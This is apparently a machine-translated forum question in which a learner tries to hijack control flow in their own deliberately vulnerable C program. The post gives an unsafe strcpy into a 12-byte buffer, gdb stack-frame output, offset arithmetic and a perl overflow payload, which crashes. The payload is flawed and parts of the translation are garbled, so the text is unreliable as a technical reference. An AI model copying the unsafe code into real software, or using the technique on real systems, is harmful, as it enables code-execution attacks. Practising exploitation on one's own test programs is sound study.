我了解利用经典的基于堆栈的缓冲区溢出的原理,现在我想练习一下。因此,我编写了以下测试应用程序:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void public(char *args) {
char buff[12];
memset(buff, 'B', sizeof(buff));
strcpy(buff, args);
printf("\nbuff: [%s] (%p)(%d)\n\n", &buff, buff, sizeof(buff));
}
void secret(void) {
printf("SECRET\n");
exit(0);
}
int main(int argc, char *argv[]) {
int uid;
uid = getuid();
// Only when the user is root
if (uid == 0)
secret();
if (argc > 1) {
public(argv[1]);
}
else
printf("Kein Argument!\n");
}
当启动程序的用户为root 时,secret()
正在调用该方法,否则,public(...)
正在调用该方法。我使用的是 debian-gnome x64,所以我必须专门将它编译为 x86 才能获得 x86-assembly(我比 x64 更了解它)。我用gcc编译了程序:gcc ret.c -o ret -m32 -g -fno-stack-protector
目标:
我想在secret()
不是root-user 的情况下调用该方法。{要做到这一点我必须覆盖R
E打开I
nstruction P
ointer( RIP
)与函数的地址secret()
}
漏洞:
该方法public(...)
将带有 unsafestrcpy()
方法的 program-args 复制到char-array
buff 中。因此,当用户以arg > 11启动程序时,可以覆盖堆栈上的数据,其中arg应该是字符串 arg 的长度。
需要的信息:
- 函数的地址
secret()
。 - 第一个缓冲区的第一个元素的地址。由于
ASCII
-Encoding 我知道每个char
都有一个大小1 byte
,所以缓冲区的最后一个元素12 bytes
在第一个元素之前。 - 的地址
RIP
,因为我必须覆盖它secret()
的地址。 - 可选:它也有助于知道
S
afedF
rameP
ointer (SFP
)的地址。
有条不紊的方法:
- 将程序加载到
gdb
: 中gdb -q ret
。 - 要获得该方法的完整堆栈框架的概述,
public(...)
我必须在那里设置一个断点,从那里function-epilogue
开始。这是}
在 line的封闭大括号处11
。 - 现在,我必须与一个有效的ARG运行程序:
run A
。 在断点处,我现在想查看堆栈帧。
(gdb) info frame 0 Stack frame at 0xffffd2f0: eip = 0x804852d in public (ret.c:11); saved eip = 0x804858c called by frame at 0xffffd330 source language c. Arglist at 0xffffd2e8, args: args=0xffffd575 "A" Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0 Saved registers: ebp at 0xffffd2e8, eip at 0xffffd2ec
因为从中我可以收集到以下信息:
- 在
RIP
位于0xffffd2ec
与包含地址0x804858c
包含的指令0x804858c <main+61>: add $0x10,%esp
。 - 在
SFP
位于0xffffd2e8
。 现在我需要
secret()
- 函数开始的地址:(gdb) 打印机密 $2 = {void (void)} 0x804852f
- 在
最后,但并非最不重要的是,我得到了缓冲区的地址:
(gdb) print/x &buff $4 = 0xffffd2d4
把它们加起来:
RIP
在0xffffd2ec
。SFP
在0xffffd2e8
。buff
在0xffffd2d4
。
这意味着我必须使用0xffffd2ec
- 0xffffd2d4
+ 0x04
= 28 bytes
(= char
s)运行程序。
因此,要利用它,我必须使用一个很28 bytes
长的 arg 运行程序,而最后一个4 bytes
包含函数的地址secret()
(并注意小端排序):
(gdb) run `perl -e '{print "A"x24; print "\xec\d2\ff\ff"; }'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/patrick/Projekte/C/I. Stack_Overflow/ret `perl -e '{print "A"x24; print "\xec\d2\ff\ff"; }'`
buff: [AAAAAAAAAAAAAAAAAAAAAAAA�d2
f
f] (0xffffd2b4)(12)
Program received signal SIGSEGV, Segmentation fault.
0x0c3264ec in ?? ()
两个问题浮出水面:
为什么它不起作用。这个例子基本上来自我正在阅读的一本旧书。但理论上它应该有效,所以我认为......
为什么
buff
和之间SFP
有8-byte
差距?这个内存区域包含什么?
编辑:这是二进制文件的下载链接。